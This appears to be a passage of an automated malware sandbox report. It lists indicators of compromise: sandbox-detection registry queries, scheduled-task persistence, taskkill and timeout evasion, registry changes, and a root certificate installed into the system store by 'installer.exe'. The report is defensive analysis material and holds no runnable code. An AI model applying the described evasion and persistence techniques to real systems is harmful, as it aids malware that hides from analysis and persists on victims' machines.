5720	1400	WerFault.exe	setup.exe
5488	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5692	1344	WerFault.exe	Fri1544861ac3fe6a.exe
6116	1400	WerFault.exe	setup.exe
1056	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5156	1400	WerFault.exe	setup.exe
5312	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5796	1400	WerFault.exe	setup.exe
1664	1344	WerFault.exe	Fri1544861ac3fe6a.exe
6128	1400	WerFault.exe	setup.exe
6136	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5440	1344	WerFault.exe	Fri1544861ac3fe6a.exe
6892	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5796	1344	WerFault.exe	Fri1544861ac3fe6a.exe
5960	1344	WerFault.exe	Fri1544861ac3fe6a.exe
2176	1344	WerFault.exe	Fri1544861ac3fe6a.exe
6780	1344	WerFault.exe	Fri1544861ac3fe6a.exe
4280	1344	WerFault.exe	Fri1544861ac3fe6a.exe
7492	1344	WerFault.exe	Fri1544861ac3fe6a.exe
1016	5548	WerFault.exe	explorer.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

vhhhjtavhhhjtaFri15af75ee9b.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vhhhjta
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vhhhjta
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vhhhjta
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vhhhjta
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vhhhjta
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	vhhhjta

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exesvchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

7200 schtasks.exe
7936 schtasks.exe
5060 schtasks.exe
4608 schtasks.exe
7672 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5204 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

7212 taskkill.exe
7796 taskkill.exe
8132 taskkill.exe
3004 taskkill.exe

pid	process
7200	schtasks.exe
7936	schtasks.exe
5060	schtasks.exe
4608	schtasks.exe
7672	schtasks.exe

pid	process
5204	timeout.exe

pid	process
7212	taskkill.exe
7796	taskkill.exe
8132	taskkill.exe
3004	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exeOneDriveSetup.exebrowser_broker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies data under HKEY_USERS 19 IoCs

Processes:

svchost.exemsiexec.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\16\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16	msiexec.exe

Modifies registry class 64 IoCs

Processes:

OneDriveSetup.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeFileSyncConfig.exeMicrosoftEdgeCP.exeMicrosoftEdge.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{79A2A54C-3916-41FD-9FAB-F26ED0BBA755}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\TypeLib	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{0776AE27-5AB9-4E18-9063-1836DA63117A}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{0776ae27-5ab9-4e18-9063-1836da63117a}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{8B9F14F4-9559-4A3F-B7D0-312E992B6D98}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{F904F88C-E60D-4327-9FA2-865AD075B400}\1.0\HELPDIR	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\grvopen\shell\open	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\VERSIONINDEPENDENTPROGID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{b5c25645-7426-433f-8a5f-42b7ff27a7b2}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000869fb3d33058fd19289a2e0633901f1d2e7aaebb44580c94f5e94294e3b05ec70ee8bce39b9ebd3af666d989b9119a637e9d962d4c462ad50f51	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\VersionIndependentProgID	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}\ = "FileSyncClient AutoPlayHandler Class"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{6A821279-AB49-48F8-9A27-F6C59B4FF024}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{D0ED5C72-6197-4AAD-9B16-53FE461DD85C}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LocalServer32	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\totaltopposts.com\Total = "47"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{D0ED5C72-6197-4AAD-9B16-53FE461DD85C}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{049FED7E-C3EA-4B66-9D92-10E8085D60FB}	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SortOrderIndex = "66"	FileSyncConfig.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{1B71F23B-E61F-45C9-83BA-235D55F50CF9}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}\1.0	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\TYPELIB\{C9F3F6BB-3172-4CD8-9EB7-37C9BE601C87}\1.0\HELPDIR	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\VersionIndependentProgID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\SyncEngineFileInfoProvider.SyncEngineFileInfoProvider.1\CLSID\ = "{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{2e7c0a19-0438-41e9-81e3-3ad3d64f55ba}\ProgID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{d8c80ebb-099c-4208-afa3-fbc4d11f8a3c}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\ContextMenuOptIn	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{466F31F7-9892-477E-B189-FA5C59DE3603}\TypeLib\Version = "1.0"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.FileSyncClient\CLSID\ = "{7B37E4E2-C62F-4914-9620-8FB5062718CC}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{fac14b75-7862-4ceb-be41-f53945a61c17}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{f0440f4e-4884-4a8F-8a45-ba89c00f96f2}\ = "IUnmapLibraryCallback"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}\ = "IClientPolicySettingsEvents"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{C1439245-96B4-47FC-B391-679386C5D40F}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ShellFolder\Attributes = "4034920525"	FileSyncConfig.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\totaltopposts.com\ = "47"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\grvopen\UseOriginalUrlEncoding = "1"	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 644cb45d18a2d701	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{679EC955-75AA-4FB2-A7ED-8C0152ECF409}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{f0440f4e-4884-4a8F-8a45-ba89c00f96f2}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{a7126d4c-f492-4eb9-8a2a-f673dbdd3334}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{31508CC7-9BC7-494B-9D0F-7B1C7F144182}\ = "IContextMenuHandler"	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-08760 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{EA23A664-A558-4548-A8FE-A6B94D37C3CF}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\SYNCENGINEFILEINFOPROVIDER.SYNCENGINEFILEINFOPROVIDER\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.150.0725.0001\\amd64\\FileSyncShell64.dll"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{fac14b75-7862-4ceb-be41-f53945a61c17}\ = "IToastNotificationEvent"	OneDriveSetup.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

installer.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	installer.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	71	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
